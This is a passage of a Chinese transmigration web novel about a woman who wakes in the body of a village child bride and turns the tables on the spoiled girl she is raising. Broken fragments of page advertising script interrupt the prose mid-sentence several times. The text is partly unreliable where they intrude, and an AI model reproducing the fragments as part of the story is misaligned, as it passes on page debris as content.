白幺幺同志被肉包子噎……噎住了,那种窒息感让她差点翻白眼。 抬头四处想找水喝,只是她才刚穿进身体,都还没接收剧情,对所处的环境除了陌生就是陌生。 瞅见对面坐了个小女孩,白幺幺赶忙用手指了指自己喉咙,同时艰难的发出一声含糊不清的“水!” 白慕雪没想到白幺幺会突然朝她看来,惊慌变了神色。 她一眼就看出对方的意思,想到对方是吃肉包子噎住的,她心里又怨恨起来了。 坏女人,吃独食,怎么不直接噎死你算了! 只是想到自己还小,还需要这女人养着她,她才不情不愿的起身去外间倒水。 靠人不如靠己,白幺幺不是坐以待毙的人。 对方也不知道什么时候能端来水,她先用力捶打着自己的胸。 白慕雪在外间听到“砰砰砰”,那女人在捶胸口的声音。 小姑娘不免又想起了那个肉包子,她一口都没吃到,全进了那女人的肚子。 呜呜,爸爸,雪儿想你了。 那女人以前果然都是装的,你才走了几年,她现在就开始露出真面目来了。 小姑娘脸上露出委屈又脆弱的神情,倒水的动作慢了下来。 直到屋里再没传出捶胸的“砰砰砰”声,她才端着水着急忙慌的跑进屋去。 “呜呜,小姑姑,雪儿给你倒水进来了,你怎么样了?别吓雪儿。” 小姑娘端着水杯站那儿哭哭啼啼的,白幺幺同志才刚“死里逃生”,听着心烦。 她想也没想,抬头朝人翻了个白眼,“闭嘴,还没死了,哭丧啊!” 白慕雪:“……” 不管是她爸还在时,亦或者她爸没后,这女人都没敢这么凶过她。 “小姑姑,你……凶我!” 小姑娘抬手指着白幺幺,委屈的控诉。 白幺幺:“……” 再逼逼叨叨,她不仅凶人还会打人了。 哼,在她这里,可没有不打女人和小孩的规矩。 白幺幺懒得理人,坐在椅子上开始给自己揉胸顺气。 刚刚为了活命,捶胸捶得有点狠了。 白慕雪第一次被这样无视,心中的委屈如滔天洪水倾泄而下。 她恶狠 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 狠的剜了白幺幺一眼,又重重跺了跺脚,才哭着跑了出去。 屋里剩她一人,白幺幺坐在条凳上,翘起二郎腿,准备开始接收剧情。 只是,屁股下忽的传来咔吱一声响。 白幺幺:不会这么倒霉吧! 她才刚穿过来,吃包子差点没被噎死,现在坐凳子…… 然而就是这么的倒霉,白幺幺才刚站起来,凳子就塌了。 白幺幺皱眉,心里有了不好的预感。 她这回穿越的原身不会是那种天生自带倒霉体质的吧! 多想无益,白幺幺直接站着开始接收剧情。 刚刚哭着跑出去的小姑娘是这方小世界的女主,叫白慕雪。 而原主身份,怎么说,有那么点特殊,是女主她爸的童养媳。 没错,就是那种小 时候是家里劳动力,长大后就要成传宗接代工具的童养媳。 女主她爸一开始是接受原主这个童养媳的,毕竟家里条件摆在那。 当然,如果有更好选择的,他肯定不想娶原主这个连小学都没上过,大字不识一个的村妇。 家里两个老人还没来得及给两人操持婚事就意外走了,女主她爸当时在读高二,成绩马马虎虎。 女主她爸在高三时和女主她妈勾搭上了,通过很狗血的美救英雄的戏码。 没错,就是美救英雄,女主她爸因此爱上了女主她妈。 女主他爸开始摆在明面上的排斥与原主的婚约,甚至动了解除两人这层关系的心思。 通过女主她爸的痴缠追求,女主她妈终于同意和他在一起。 两人确定关系的第一天晚上,女主她爸回来就和原主摊牌了。 说一直以来只把原主当妹妹,说爸妈都不在了,以后就他们兄妹相依为命。 还说过几年,他会帮原主寻一门好婆家的。 原主对女主她爸谈不上喜不喜欢,只是从小作为对方的童养媳,心中多少有点异样情感。 不过这些情感一下子被喜悦冲没了,原主很高兴能摆脱了童养媳这层身份。 之后就是女主她爸妈高考时双双失利,同年俩人未婚先孕,有了女主。 第219章 年代文里的童养媳(02) 非常狗血的事情再次发生了,女主她妈又来了次美救英雄,只不过这次救的不是女主他爸。 不得不说,女主的她妈很不简单,这拿的妥妥也是女主的剧本。 她这次救的人真不是女主她爸能比的,有颜有钱有权,妥妥的霸总人设。 而这样的男人,竟因女主她妈救了他,不仅没有以丰厚的报酬作为报答,而是对女主她妈展开了强取豪夺。 没错,一个优质男,对当时还怀着女主的女主她妈进行了强制爱。 就这样,女主爸妈这对有情人被迫分开。 彼时女主已经在她妈肚子里六个多月了,打掉是不可能打掉的。 等女主她妈生了后,那男人就差人将孩子送到女主她爸手上。 单亲爸爸独自养孩子有多不容易,可想而知。 更何况这是他和心爱女人的爱情结晶,女主她爸恨不得将全世界最好的东西捧到女儿面前来,可惜他就那点能力。 这年原主才十六岁,就开启了辛苦带娃的加强版保姆生涯。 女主她爸,呵呵! 就只会在旁边盯着原主照顾他女儿,好似怕在他看不到的地方,原主会虐待他女儿般。 女主她爸觉得自己的身和心都给了女主她妈,担心原主帮他带女儿久了,会起什么歪心思。 又一次找原主好好聊了聊,直言他这辈子就只爱女主她妈一人,以后没有结婚的打算,余生就带着女儿过了。 末了,仍旧给原主画了个饼,未来会给她找一门好婆家,风风光光送她出嫁的。 有些时候,男人的话真的听听就好。 一个没点屁本事的男人带着个娇娃娃,家里没个干活的女人哪里能行。 就这样,原主从十六,被留到了十八岁,十九岁…… 直到原主二十一岁的时候,女主她爸半夜醉酒失足摔到半人高的沟里。 翌日被发现时,已经出气多,进气少,救不回来了。 女主她爸撑着最后一口气来了个临终托孤,将女主托付给原主。 说什么他们家将原主养大,也不求她回报什么。 现在他即将撒手人寰,最放心不下的就是唯一的女儿。 他让原主发誓,一定要好好养大他的女儿。 哪怕以后嫁人了,有了自己的孩子,也必须一视同仁。 其实他更想让原主发誓,终身或者是未来十五年内不许嫁人,好好将他女儿带大的。 只是他想着自己很快就要死了,女儿还需让人帮忙养大,便不敢提出这样的要求。 就这样,二十一岁的原主开始带着五岁的女主相依为命。 其实原主长得不错,只是常年在田里干活,人被晒黑了,又不懂也没条件打扮自己。 在女主她爸对外明明白白说只将原主当妹妹后,不仅同村的,还有邻村的好几家都看上了原主这个勤劳肯干的好姑娘。 原主十八九岁时,陆陆续续有好几家请媒人上门来,想先把人定下来。 不过都被女主他爸以舍不得原主这个妹妹,想多留人几年为借口打发走了。 而女主她爸反过来则和原主数落起上门来的几家的各种不好,原主嫁过去就是过苦日子。 谁都不是傻子,媒人多次上门无功而返后,大家算是瞧出女主她爸的心思了。 反正,原主就这样被耽误到了二十一岁。 等女主她爸死后,又有媒人上门来说亲,人家不介意原主带着个拖油瓶。 只是吧,原主也不知道怎想的,拒绝了这门亲事。 说是自己现在只能好好把孩子养大,暂时不考虑个人的婚姻大事。 或许女主本就是原主带到这般大的,有感情了吧。 原主开始含辛茹苦的养女主。 平时舍不得吃,舍不得穿,干最脏最累的活。 可惜女主就是个养不熟的白眼狼,当然这和女主他爸脱不了关系。 这男人没死前,就时常和宝贝女儿说起原主的身世。 虽平时让女儿喊人小姑姑,但私底下和女儿说了,他们家对原主有大恩,原主现在做这些都是她该做的。 还时不时叮嘱女儿,原主毕竟和他们没有血缘关系,谁知道对他们存着几分真心。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 并让女儿放机灵点,如果原主对她不好,虐待她了,一定要第一时间和他说。 女主她爸临死前,还单独喊女主进去说了话。 至于说了啥,谁知道,原主没问。 剧情看到这里,白幺幺不得不佩服女主以及她爸这一家子,竟逮着原主一只羊薅毛。 之后的剧情,就是男女主小小年纪 有缘千里来相会,开始展开他们青梅竹马的甜甜爱恋。 而原主么,没有意外,妥妥的炮灰工具人命。 不得不说,不是一家人不进一家门。 男主是个母不详的富家少爷,偶然从醉酒的父亲口中得知自己的身世。 他父亲自始至终喜欢的都是男人,心中更是有个求不得白月光。 而他不过是父亲需要一个继承人,花钱在外面找女人生的。 才八岁的男主一时接受不了这一事实离家出走了,半路上 遇到人贩子被拐卖。 之后就是男主与人贩子斗智斗勇,逃跑成功,却昏迷在半路。 还是原主带着女主从镇上回来时,发现了男主,一路将人背回家的。 问原主为啥不将人送去医院,原因很简单,她的兜里比脸还干净。 至于为啥不把人送派出所,这不是女主拉着原主哭着说,不许把小哥哥送走。 说起来,明明是原主救了男主。 可是呀,人家男主醒来第一眼看到的是女主,张口的第一句也是,“小妹妹,是你救了我吗?” 女主当时见人醒来,就哭了,嗯,应该是喜极而泣吧! 她边哭边说:“大哥哥,你终于醒来了,吓死雪儿了,雪儿有拉着小姑姑,不让她把大哥哥送走的。” 一个美丽的误会就这样形成了,当然误不误会的其实不重要的。 两人一见如故,哥哥妹妹的喊上了,并互相敞开心扉,开始倾诉起来 男主总结,就是母不详,父不爱,只把他当继承家业的工具人。 女主总结,就是跟着个没有血缘关系的小姑姑的可怜孤女,时常吃不饱穿不暖,还要每天担惊受怕小姑姑会不要她。 第220章 年代文里的童养媳(03) 两个“小可怜”就这么惺惺相惜,抱团取暖起来。 甚至两人为了能不分开,还想出了一个绝妙的法子,那就是让男主父亲娶了原主。 这样女主不就能名正言顺的住进男主家,两人就又可以朝夕相处了。 女主就再也不用担心小姑姑嫁人会不要她,有了自己孩子后会虐待她了。 而这事还真让两个孩子给办成了。 原主就这样怀揣着忐忑不安以及对未来的迷茫与期待的心情,简单收拾了点行李,带着女主坐上了那辆价格不菲的小轿车。 嫁给一个不喜欢女人的男人,原主能幸福才奇怪。 她不过是换了个身份,换了个地方继续当保姆。 而伺候的人从女主一人,又增添了两人,男主父子俩。 在知道丈夫的性取向时,原主想过要闹,要离婚。 只是最后被女主苦口婆心的劝下来了,当然原主自己也想通,认命了就是。 可就在她以为自己能这般吃穿不愁,平平静静的过完一生时。 男主父亲在外面招惹的烂桃花找上门来了…… 没错,就是男小三打上门来了。 男小三是个道上混的,直接将原主绑了,想看看原主在男主父亲心中的份量。 白幺幺:“……” 这男小三脑子没点大病,都干不出这事来! 只是吧,男小三的手下一时操作失误,原主被活活闷死在后车厢里。 最后尸体被沉海了。 原主死的这一年,她才二十八岁。 短暂的一生,拢共过了四年吃穿不愁,还算幸福的“好日子”。 之后的剧情就是女主作为跟着小姑姑嫁到男主家的拖油瓶,开始和男主以及一众优质男配展开的青梅竹马爱情故事。 “砰!” 白幺幺拍桌而起,手落下时她还是有意识的控制力道了。 桌子没因为她的动作散了,不过却发出一阵咯吱咯吱的声响。 什么鬼? 童养媳就算了,还来个同妻。 “咕……咕噜噜……” 肚子在叫,是饿的,也不全是。 一个肉包子怎么可能吃饱,可这副身体饿太久了,突然一个肉包子进肚,还吃那么急,现在肚子开始发出抗议来了。 白幺幺同志揉了揉肚子,脸色能好看才奇怪。 原主是个傻的,每天起早贪黑的,不仅养活了女主,还想攒钱送女主去上学。 平时一天就吃一顿,还是没啥油水,稀稀拉拉的,家里有啥好的都紧着女主吃。 像今儿这个好不容易得来的肉包子,如果不是白幺幺刚好来了,准一整个都进女主肚子里。 没办法,原主是懂感恩的。 而且原主还很喜欢孩子,女主是她从襁褓带到这般大的,怎么可能没感情。 一个有情有义,勤劳肯干的好女人,却过了这样短短的一生,真的挺让人唏嘘的。 “咕……咕噜噜……” 白幺幺:“……” 她再次用力揉了揉肚子,决定等接收完原主的心愿,再去解决肚子的事。 原主的心愿。 嗯,以下是原主说出心愿时的原话。 “血缘关系真的那么重要吗?” “是不是就因为俺……我和他们一个个都没有血缘关系,所以他们才从未真心对我?” “神仙大人,俺……我想好了,我只有一个心愿,那就是找一个好男人嫁了,生很多很多个孩子。” “具体要生几个孩子呢?” “八九个是不是有点太多了……养不活怎么办?” “五六个……好像还是有点多,可能养得活,可……” “神仙大人,三个,生个三孩子就好吧!” “有三个与我血脉相连的孩子,我就满足了,人不能太贪心的。” “至于报仇啥的,要说我不恨,那是不可能的,但更多的是心寒。” “算了,人死都死了,神仙大人,你就按照自己脾气来活吧,别学俺就是考虑太多,活得也太憋屈窝囊了……” “而且,反过来想想啊!” “其实我一个成年人会被个孩子忽悠去嫁给那男人,只能怪我自己没脑子。” “还有我知道那男小三也不是真的要对俺,我做什么,我的死只能算是意外。” “就是他们怎么可以把我沉海,他们好歹挖个坑把我埋了。” “唉,其实,嫁给那男人,俺至少过上了几 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 年吃饱饭,吃好饭,住大房子的富贵生活。” “俺没读过书,却也懂得,人生呀,有得有失,不可能啥好处都让俺占了。” “所以呀,能遇上神仙大人,我真的感觉自己很幸运。” “还是那么个道理,做人不能太贪心,俺就许一个心愿就好了……” …… 白幺幺:“……” 所以,她差一点点就要成为产崽的母猪了。 原主说了很多,也倾诉了很多。 从字里行间,白幺幺脑中原主的形象十分的立体。 那种朴实,任劳任怨,吃苦耐劳,十分感恩的老实人形象。 而她这个世界就很简单,找个好男人结婚生……三个孩子。 现在的时间点是女主她爸已经去世三年,女主八岁了,再过三天男女主就要见面了。 白幺幺心里呵呵! 眼瘸脑残都是病,得治。 八岁的男主都不想他那身高体型,同样八岁矮他一个头的女主怎么有力气把他背回来。 而且,最先发现男主明明就是原主。 当时女主娇气,走得比较慢,落后了原主米了。 剧情中,原主发现男主时,男主还未彻底失去意识,强撑着睁开眼睛看了原主一眼。 所以,总结一句话,这男主“有病”,救不得。 白幺幺心里那个恶趣味呀,想着这回她不去救男主,男主会被谁捡走。 还有,男女主没了这一场“救命之恩”的情节,之后又会以何种方式相遇。 白幺幺唇角勾起一抹邪肆的笑,算起来,这个小世界很好玩呀,有“病”的人太多了。 “幺姐儿,在家吗?” 门外响起了一道中年妇女的声音,由远及近。 重复喊了好几声,仿若不得到回复就不停来似的。 白幺幺微挑了下眉,听声音还算客气。 原主在这十里八村的风评还是很好的,甚至很多人私下都用看傻子的眼光看原主,总结就是“傻好人”。 很快白幺幺就看到了一个中年妇女走了进来,身后还跟着刚刚哭着跑出去的女主白慕雪。 白幺幺:“……” 哟呵,出去告状,找靠山来了。 第221章 年代文里的童养媳(04) 中年妇人住她家的隔隔壁,因着家里养了两头牛,大家都叫她牛婶子,对方也爱极了别人这么叫她。 牛婶子进来瞧见白幺幺站着,以为是听到她的声音,起身要迎她了。 至于她喊了那么多声,为何都没得到回应? 牛婶子只以为对方是怕一出声,被她听出刚哭过,不好意思出声了。 白幺幺没照镜子,所以不知道她此时脸红红的,眼眶也红红的,眼角还有些湿润。 实在是刚来就差点因为一个肉包子交待了去,强烈求生欲让她死命的咳,都快把肺咳出来了。 这样一番折腾下来,她的神情倒真像哭过的样子。 原主的“傻好人”形象深入人心,牛婶子会跑这么一趟,可不是信了白慕雪的话。 她啊,就是纯粹的爱八卦。 见白慕雪从自家门口经过,边走边抹着眼泪,便随口问了句。 没成想,小女娃子就委屈的和她各种说。 牛婶子这不,就带着小女娃子过来,想当个和事佬。 “幺姐儿,啥事和婶子说说,你们这姑侄俩相依为命不容易啊。” 牛婶子说话时,表情跟着配套做起来,还伸手去拉白幺幺的手。 白幺幺:“……” 什么味? 嗅觉太好了真不是她的错。 还有那指甲缝里的是牛粪,是牛粪吧! 她真的不是嫌弃牛婶子这人,她嫌弃的是其指甲里没洗干净的牛粪。 “牛……牛婶子,你先在坐,我……俺去给你倒杯水。” 之前咳得太用力,喉咙肯定咳破了,现在说话声音有些沙哑。 白幺幺说着转身就要出去给人倒水,顺便很自然的避开了牛婶子伸过来拉她的手。 而她不知道自己这一出声,更是坐实了牛婶子心中的猜想。 牛婶子可不是过来喝水的,这年景,家家户户啥都缺,最不缺的就是水。 “别,幺姐儿,你别忙活了,婶儿我就是瞧见你家小雪边哭边从我家门前走过,忙喊住人关心的问了几句。” “俺家小雪她……她都和婶子你说什么?” 演戏,她在行。 来到这遍地是黄金的年代,白幺幺迟早是要离开这里去到外面世界的。 原主在这里留下的好名声,白幺幺并不想破坏掉,也没必要去破坏掉。 牛婶子瞧见白幺幺问完,就低垂下脑袋,一副很意外很受伤还很委屈的模样,心里早将白慕雪父女俩骂了个遍。 没错,牛婶子可是连死去的白弘文,也就是女主她爸也一起骂了。 都是邻里邻居的,谁还不知道谁了。 牛婶子虽于心不忍,还是将白慕雪和她说的原话讲了一遍。 牛婶子说话时,白慕雪擦了擦眼泪,也察觉到不对劲了。 白弘文还没出意外离世时,一直觉得他女儿可和村里那些孩子不一样,把人当小公主养着。 所以导致白慕雪骨子里比村里其他小孩子身上多了股傲气,平时也不似其他孩子,见了村里大人,都会礼貌这婶子,这叔公,那伯娘的喊着。 甚至,平时都很少与村里人接触,不屑的。 也就是白弘文没了,村里人看原主一个人带着个孩子生活不容易,经常帮衬一二。 偶尔也会送点东西过来,而白慕雪也被原主教着和这些人问好,大家对白慕雪这孩子才熟悉不少。 才八岁的女主懂什么,只以为她是小孩子,而且说的也是“真话”,还哭的那么伤心可怜。 这个一个月里总会往家里送一两次吃食的牛奶奶肯定会站在她这边,为她打抱不平的。 白幺幺听完牛婶子说的,抬头看向牛婶子,咬着唇。 似是纠结了很久,她才憋出这么一句话来。 “牛婶子,让你看笑话了,小孩子跟俺闹脾气而已,等下俺哄哄就好了。” “你快去忙你的事情,别为这种小事耽误了时间。” 白幺幺才刚说完,在旁边越听越不对劲的白慕雪狠狠跺了跺脚,声音带着哭腔。 “小雪才没闹脾气了,是小姑姑你变了,变得让小雪害怕。” “小雪才没有不吃肉包子,小雪想吃极了,就是舍不得吃。” “小雪都说了,一整个肉包子都给小姑姑吃,小雪不吃的,可小姑姑还是怕小雪和你抢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 肉包,自己吃得太急噎着了,小雪好心去给你倒水,你回头却还凶小雪。” 白慕雪说完,又委屈的抽噎起来。 白幺幺在心里鼓掌,不得不说,这个女主小小年纪叙事的能力挺强的。 唉,不就是哭,当谁不会了。 “小雪,你……” 白幺幺做出一副大受打击的模样,单薄身体摇摇欲坠,虚晃了两下,才重新站稳。 她咬着唇,像是在极力隐忍着什么。 当眼眶中打着转的眼泪滚落时,吧嗒一声,身体绷着的某根弦也跟着断了。 “错……错了,俺是不是一直做错了。” “戏文里不是这么唱的吗?惯子如杀子,俺可能真的做错了。” 白幺幺蹲下身去,把脸埋在膝盖上,继续自言自 语般的说着。 “呜呜,怎么办,弘文哥,你那么信任俺,把小雪托付给俺。” “呜呜,可是俺却把小雪养得越来越骄纵任性,现在还染上了爱说谎的毛病,俺说又说不得,管又管不了,这可咋整是好,咋整是好。” “呜呜,明明是她突然闹脾气,就是不吃肉包子,嚷着想吃红烧肉,好不容易得来的肉包子,俺只能尽量哄劝着人吃。” “可是,可是她突然发起脾气来,拿起包子就往俺嘴里塞。” “呜呜,俺哪里敢挣扎呀,生怕伤着了孩子,还怕肉包子里汤汁滴地上去浪费了,最后只能承受着被整个肉包子塞满嘴的痛苦!” “呜呜,吐出来也不是,吞咽下去则差点被噎死了……” 牛婶子听得一愣一愣的,真的很意外白幺幺会说这些。 没办法,这孩子就是她看着长大的。 在她印象中,这就是个啥都默默承受着,吃亏受委屈了,只会朝人笑笑,啥也不会说的。 而牛婶子都觉得意外,白慕雪同样也都听傻了。 等回神后,她鼓着腮帮子,指着人气狠狠地低吼。 “你,你不许胡说!” “小雪才没有骄纵任性,小雪也没有强迫你吃肉包子。” “你……你是坏人,坏人,欺负小雪,小雪不要你了。” 第222章 年代文里的童养媳(05) “小雪你……俺……” 白幺幺抬起头来,神色难掩的慌乱。 “俺,俺刚刚就是在说胡话。” 白幺幺急急转头去看牛婶子。 “牛婶子,你千万别把刚刚的话当真,俺刚刚脑子有点乱……” 牛婶子:“……” 她又不傻,活到这把岁数,谁是人谁是鬼,还会看不出来。 唉,是个挺不容易的孩子啊! 要不是被伤狠了,一时受刺激,她今儿哪能听到这孩子说出憋在心里的话。 牛婶子给了白幺幺一个,我懂,我都懂的眼神。 她回头板起脸来看向正叉腰怒指着白幺幺的白慕雪,轻轻摇头表示不赞同。 “小雪,你快把手放下来,怎么能这样指着你小姑姑,这样真的很不礼貌的。” 本就是被娇养着长到这般大的,原主对她一直都是好声好语,将最好的捧到她面前。 像今天这样的,白慕雪是第一次遇到,心里有点慌,但更多的是气。 气她爸说的果然是真的,坏女人终于装不下去,露出真面目了。 白慕雪骨子里就是瞧不起村里人的。 她爸说了,自己可是金凤凰的命,暂时不得不先委屈待在这个破地方而已。 现在被她瞧不起的人指责,白慕雪根本忍不下来,哇的一声大哭起来。 “哇呜呜,你和坏女人是一伙的,也欺负我这个没爸没妈的孩子。” “都说了小雪没撒谎,撒谎的是坏女人。” “呜呜,爸爸小雪想你了,坏女人终于装不下去,开始虐待小雪了。” 牛婶子:“……” 这孩子,自己怎么欺负她了? 说那样一句话也算欺负? 搅屎……啊呸,是把水搅浑棍白幺幺上线。 “小雪,你……你怎么和俺说话都可以,但不许这样和牛婶子说话,也不许这样说牛婶子。” “你忘记牛婶子平时最疼你,家里做了好吃的,经常自己舍不得吃,都要送点过来给你吃。” “咱们做人要懂感恩,快和牛婶子道歉。” 白幺幺说完,就要伸手去拉小姑娘。 变故就是发生在电光火石间的。 白幺幺被小姑娘推倒了,哎哟一声坐到地上,面部表情狰狞,痛的。 白慕雪:“……” 她只是想甩开坏女人的手,她明明没用多少力气的。 不过看到坏女人摔了,小姑娘心里别提有多解气。 牛婶子忙蹲到白幺幺身旁,脸上全是关心与担忧。 “幺姐儿,摔哪了?婶儿先扶你起来。” 白幺幺:“……” 用哪只手扶?那只指甲缝里沾着牛屎的手吗? 她忙扭曲着面部表情,朝人摆手。 “牛婶子,先不起来,让俺坐着缓缓。” 牛婶子听她这么说,想想人刚摔了,也不知道摔怎样,的确是先缓缓的好。 紧接着正义之士牛婶子上线了,她起身去拽白慕雪的胳膊。 “小雪,快和你小姑姑道歉,你小姑姑独自一人养你真的很不容易,你要学会懂事些,还要懂感恩。” “也就你小姑姑宠着你,要换成我家姑娘,敢这般和我说话,还敢推我,我早拿起笤帚抽得她哭爹喊娘了。” 牛婶子这边对着白慕雪唾沫横飞完,又转头对着白幺幺恨铁不成钢的说起来。 “幺姐儿,我跟你说,这孩子就是要从小开始打,农村的孩子,哪里能找出一个像你家这样养孩子的。” “咱们这十里八村的,没爹没妈的孩子还少吗?哪个养得像你家小雪这般娇贵,平时家里家外的活都不帮忙做下。” “幺姐儿,我跟你说,你也别担心打孩子,大家会有什么想法,这孩子就是该打!” “不是有那么一句话怎么说来着?对,就是小树不修不直溜,人不修理哏赳赳。” 说起育儿,牛婶子最有发言权了。 她家小儿子今年考上了大学,是村里出了第三个大学生。 白慕雪听到自己拉来的“靠山”不但不帮她,还在怂恿那个坏女人打她。 才八岁的小姑娘,再聪明,能养出多少城府来。 “你也坏,你们都坏,欺负小雪。” 白慕雪简直快气坏了,边哭边开始赶人。 “走,你走,你们都走,离开我家,我家不欢迎你们!” 也不知是哭晕了头,还真是被气狠了,白慕雪甚至还想拿脚去踢蹲在地上的白幺幺。 白幺幺:“……” 她真的很喜欢这小姑娘“一点就炸”的真性情。 想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 踢她? 呵呵,怎么可能让人真踢到她! 白幺幺像是条件反射的想伸手去挡朝她后腰踢过来的那只脚,手用上巧劲,将人的脚震了回去。 牛婶子被白慕雪控诉成坏人,还被小姑娘往外赶,心中来气了。 她正想再好好教育人时,就见小姑娘还想用脚踢人。 不待她阻止,就见两人都摔了。 白幺幺当然是假摔,白慕雪就是结结实实摔了个屁股蹲。 这一摔把白 慕雪给摔愣了,反应了很久才反应过来。 情绪也彻底爆发了,哪里还有啥理智可言。 “呜呜,爸爸,爸爸,你回来,快回来,小雪想你了。” “坏女人,呜呜,你说的果然没错,坏女人开始虐待小雪了。” “爸爸,她不给小雪吃肉包子,还推小雪……” “她吃我们家,住我们家的,欠我们家……” 白慕雪是扯着嗓子在哭嚎的,一下子引来了不少人。 白幺幺抱膝坐在地上,低垂的头,一言不发。 牛婶子见其他村里人过来了,开始摇头晃脑皱眉的给人讲起事情经过。 不大的低矮破旧的房间里,一下子比早晨的集市还热闹。 等房间里的声音渐渐小了起来,白幺幺身体摇晃的站起身来。 人群里刚好有村长,她一副失了魂的模样来到村长面前。 “村长,小雪这孩子俺养不好,继续让俺养着她,宠惯着她,可能最后反倒会害了她。” 白幺幺嘴角勉强扯出一抹笑来,“还有村长,你刚刚也听到了,俺继续赖着这个家不走也不好。” “小雪的妈妈还在,而且经济条件很好,俺打算把她送到她妈妈那。” “而俺……俺也打算离开这里去寻寻我的家人了。” 哼,让她继续养着女主,怎么可能。 她现在都几岁了,当然是要抓紧时间去找好男人,生孩子。 而且,凭什么女主她妈生了不养,快乐悠闲的在豪门享福。 等到女主和男主在一起后,再跑来认女儿,演绎母女情深。 剧情中,女主她妈现在已经给女主生了一个同母异父的三岁小弟弟。 而由于那男人帮着隐瞒,可没人知道女主她妈还未婚先孕了一个女儿。 第223章 年代文里的童养媳(06) 白幺幺一下子抛出两个重磅炸弹,人群安静了一瞬,随即惊呼声不断。 “什么,小雪这孩子的亲妈还活着?当初弘文那小子一脸伤感的说孩子亲妈去了很远很远的地方……” “很远很远的地方?合着跟咱们玩那个啥游戏?” “文字游戏,他娘喂,就他那表情说出去了很远很远的地方,大家不都得误会是人没了。” “可不是,没想小雪亲妈还在,那这孩子的确该由亲妈来抚养。” “就是,人既然还活着,娃都给人弘文生了,不跟着弘文回来好好过日子,直接把孩子丢给弘文就不闻不问的,看着也不是什么正经女人。” “未婚先孕啊!正经女人谁会干出这种事来!!” “就是个不检点的!” “对了,小雪亲妈谁呀?”有个婶子看向白幺幺问道。 白幺幺像是天人交战了许久,才又抛出一个重磅炸弹。 “小雪的亲妈你们就算不认识,也肯定都有印象,就是小河村的秦雪。” 白幺幺话音一落,房间里再次连续响起不下十次的惊呼。 “这怎么可能?” “秦雪?!” “什么?” “小雪的亲妈竟然是秦雪,我的老天爷,这,这,这……” “我滴娘喂,当年秦雪出嫁时,我见过一面,别说,小雪和她长得有六七分相似。” “这秦雪还真是厉害啊!” “小雪全名好像叫白慕雪,慕雪,慕雪,弘文那小子还是个痴情种啊!” “你们就不想知道,秦雪家那位知不知道她婚前不检点,连孩子都搞出一个来了?” “应该是不知道吧!傻子才会整那么大排场,就为了娶双破鞋回家!” “哈哈,放旧时代,这种女人可是要浸猪笼的,再放二三十年前……” …… 说起秦雪,还真是这十里八村的没人不认识的。 没办法,在这物资匮乏的年代,买辆自行车已经是一件相当奢侈的事情了。 一辆自行车大概两百左右,要花掉一个工人四五个月的工资。 而对于这些面朝黄土背朝天的的农民来说,一年根本存不到几个钱。 自行车对他们来说,就有点遥不可及了。 反正吧,十里八村的,有自行车的人家,屈指可数。 可是六年前,小河村可是长了个大脸。 他们村的一个姑娘出嫁,男方竟然出动了六辆小轿车来接亲。 不是自行车,是小轿车啊! 还不只是一辆,足足六辆。 车子一路开到小河村,期间经过其他村子,引起的轰动可想而知。 而且,车上下来的新郎那个俊哟! 还有新郎带过来的一群兄弟,瞧着都不一般,据说都是些来自京市,沪市,港城的少爷。 如此大排场,来小河村接的新娘就是秦雪。 哪怕是到了现在,秦雪还是这十里八村小姑娘羡慕的对象了。 找的对象有钱又有颜,关键是对她还好的不像话。 听说大前年还给秦雪的爸妈在城里买了房,把人接去享福了。 白慕雪早在听到白幺幺说要将她送到她妈那时,就傻愣住了,哪里还记得哭嚎。 妈妈没死? 她还有妈妈? 可是爸爸没有和她说过,坏女人会不会在骗人? 其实白弘文临断气前,还在纠结着要不要告诉女儿关于雪儿的事。 只是,最终他还是更爱雪儿,胜过雪儿生的孩子。 生怕他说了,孩子年纪还小,一个藏不住话,把雪儿是她妈的事情抖落出来,会给雪儿带去很大麻烦的。 不得不说,这个白弘文真的是个痴情种。 白慕雪心中生出期待来,听到一些人在说她妈妈的坏话,立马护犊子上了。 “你们闭嘴,闭嘴,都闭嘴,不许说我妈妈的坏话。” 或许是听到自己还有个亲妈,白慕雪潜意识的彷徨,慌乱全都荡然无存,一下子又有了底气。 甚至,她还埋怨上了白幺幺。 “还有,坏女人,你既然早就知道我妈妈还在,为什么不早早带小雪去找她?” “你是不是欺负我小不懂事,想借机霸占我爸留给我的房子和地?” 八岁的孩子,聪明是聪明,却总喜欢自作聪明。 白弘文临死前,有将家里的东西都和孩子交代 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一遍,说是这些以后都是她的,要守好了。 白家本来就穷,村里有名的穷,就一点薄产也难为了白弘文强撑着口气和孩子一一交代。 白慕雪现在就像是只扑腾着翅膀,随时准备战斗的大公鸡。 一副逮着谁,就想要上去啄两下模样。 可能小孩子的世界就是这么简单吧! 不是好人就是坏人。 而现在,屋里的其他人已经全被她划入坏人阵营了。 “小雪,俺……” 白幺幺揪着胸口的衣服,做摇摇欲坠状。 几次张口想为自己辩解,最后长长叹了口气,低下头去。 村长这时站出来说话了。 “小雪,不能这样和你小姑姑说话,还有你小姑姑以后是要嫁出去的,不会霸占你房子和地的。” 白慕雪是知道村长的,她咬了咬唇,别过脑袋去。 爸爸说的果然没错,穷山恶水出刁民,这种破地方,出的都是坏人。 就知道欺负她人小,没爸没……妈妈又不在身边。 她是金凤凰,迟早有一天要飞出这里的。 这孩子…… 村长皱了皱眉,心里暗暗决定,这事他不管了。 白幺幺朝村长露出了一抹苦笑,“村长,让你们看笑话了,孩子还小不懂事,你们别和她一般计较。” “过两天我就带她去找她妈,等把孩子送到她妈手上,我就直接启程去寻我的家人,以后应该不回来了。” 白幺幺话说的明明白白的,就这间破房子,还有那一点点田地。 别搞笑了,她会稀罕! 村长再次皱了皱眉,想说什么,最后只是点了点头。 原主是逃荒时,流落到这里,被白弘文她妈捡到的。 